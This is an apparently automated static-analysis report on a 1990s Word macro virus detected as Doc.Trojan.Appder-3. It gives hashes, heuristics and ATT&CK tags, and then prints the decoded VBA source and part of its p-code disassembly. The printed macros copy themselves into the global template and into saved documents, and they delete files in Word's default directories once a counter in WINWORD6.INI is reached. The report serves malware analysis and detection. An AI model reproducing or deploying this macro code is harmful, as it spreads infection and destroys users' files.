Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e80c5957df8f4923…

MALICIOUS

Office (OLE)

36.0 KB Created: 2000-02-06 19:55:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a14b3442cfa7527d6972c8c50b6bfafc SHA-1: c44c3337b2d066383616a1c1ffbb1bf0f73f61a4 SHA-256: e80c5957df8f4923a0030d3495ad359ff4939158b88f380e35f54093b9ee71ee
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing both AutoOpen and AutoClose VBA macros, indicating an attempt to execute code upon document interaction. The macro code attempts to modify the WINWORD6.INI file and potentially delete files, suggesting a downloader or dropper functionality. The presence of legacy WordBasic functions and the 'Virus Infected Bait File' text further support a malicious intent.

Heuristics 5

  • ClamAV: Doc.Trojan.Appder-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Appder-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9345 bytes
SHA-256: 987a51ce200123ad65fe48866712bcedfc2e0ae2f944c2b6ac072cbb422abca5
Detection
ClamAV: Doc.Trojan.Appder-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SVGA"

Private Sub SD()
Dim DigitC$
Dim digit
DigitC$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", " VERMIN", "WINWORD6.INI ")
digit = WordBasic.Val(DigitC$) + 1
WordBasic.SetPrivateProfileString "Microsoft Word", "VERMIN", Str(digit), "WINWORD6.INI"
DigitC$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", "VERMIN", "WINWORD6.INI")
If DigitC$ = "3" Then
    WordBasic.SetPrivateProfileString "Microsoft Word", "VERMIN", "1", "WINWORD6.INI"

DigitC$ = WordBasic.[DefaultDir$](10) + "\*.*"
WordBasic.Kill DigitC$
DigitC$ = WordBasic.[DefaultDir$](11) + "\*.*"
WordBasic.Kill DigitC$
DigitC$ = WordBasic.[DefaultDir$](12) + "\*.*"
WordBasic.Kill DigitC$
DigitC$ = WordBasic.[DefaultDir$](15) + "\*.*"
WordBasic.Kill DigitC$

End If
End Sub 'SD

Public Sub MAIN()
Dim MCS
Dim op
Dim ACLS
Dim Automatical
Dim sMacro$
Dim DigitC$
Dim yesno
On Error GoTo -1: On Error GoTo No

    MCS = WordBasic.CountMacros(0, 0)
    For op = 1 To MCS
        If WordBasic.[MacroName$](op, 0, 0) = "AutoClose" Then
            ACLS = -1
        End If
        If WordBasic.[MacroName$](op, 0, 0) = "SVGA" Then
            Automatical = -1
        End If
    Next op
    If Not ACLS And Not Automatical Then
        sMacro$ = WordBasic.[FileName$]() + ":SVGA"
        WordBasic.MacroCopy sMacro$, "Global:SVGA"
        sMacro$ = WordBasic.[FileName$]() + ":AutoClose"
        WordBasic.MacroCopy sMacro$, "Global:AutoClose"
    End If
DigitC$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", " VERMIN", "WINWORD6.INI")
yesno = WordBasic.Val(DigitC$)
If Not yesno Then
    SD
End If
No:
End Sub

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Dim ParaMacro$
Dim WOpen$
Dim yesno
Dim Dialogues As Object: Set Dialogues = WordBasic.DialogRecord.FileSaveAs(False)
On Error GoTo -1: On Error GoTo No
    WordBasic.CurValues.FileSaveAs Dialogues

    If Dialogues.Format = 0 Then Dialogues.Format = 1

    ParaMacro$ = WordBasic.[FileName$]() + ":AutoOpen"
    WordBasic.MacroCopy "Global:SVGA", ParaMacro$
    ParaMacro$ = WordBasic.[FileName$]() + ":SVGA"
    WordBasic.MacroCopy "Global:SVGA", ParaMacro$
    ParaMacro$ = WordBasic.[FileName$]() + ":AutoClose"
    WordBasic.MacroCopy "Global:AutoClose", ParaMacro$
    WordBasic.FileSaveAs Dialogues
    GoTo Yes
No:
    If Err.Number <> 102 Then
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", " VERMIN", "WINWORD6.INI")
yesno = WordBasic.Val(WOpen$)
If Not yesno Then
    WordBasic.FileSaveAs Dialogues
End If
    End If
Yes:
End Sub

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

' Processing file: /opt/analyzer/scan_staging/60fc8450bdff4597ade9a532373de97d.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoClose - 2798 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn ParaMacro
' Line #3:
' 	Dim 
' 	VarDefn WOpen
' Line #4:
' 	Dim 
' 	VarDefn yesno
' Line #5:
' 	Dim 
' 	VarDefn Dialogues (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set Dialogues 
' Line #6:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError No 
' Line #7:
' 	Ld Dialogues 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #8:
' Line #9:
' 	Ld Dialogues 
' 	MemLd Format$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	Ld Dialogues 
' 	MemSt Format$ 
' 	EndIf 
' Line #10:
' Line #11:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St ParaMacro$ 
' Line #12:
' 	LitStr 0x000B "Global:SVGA"
' 	Ld ParaMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #13:
' 	Ld WordBa
... (truncated)

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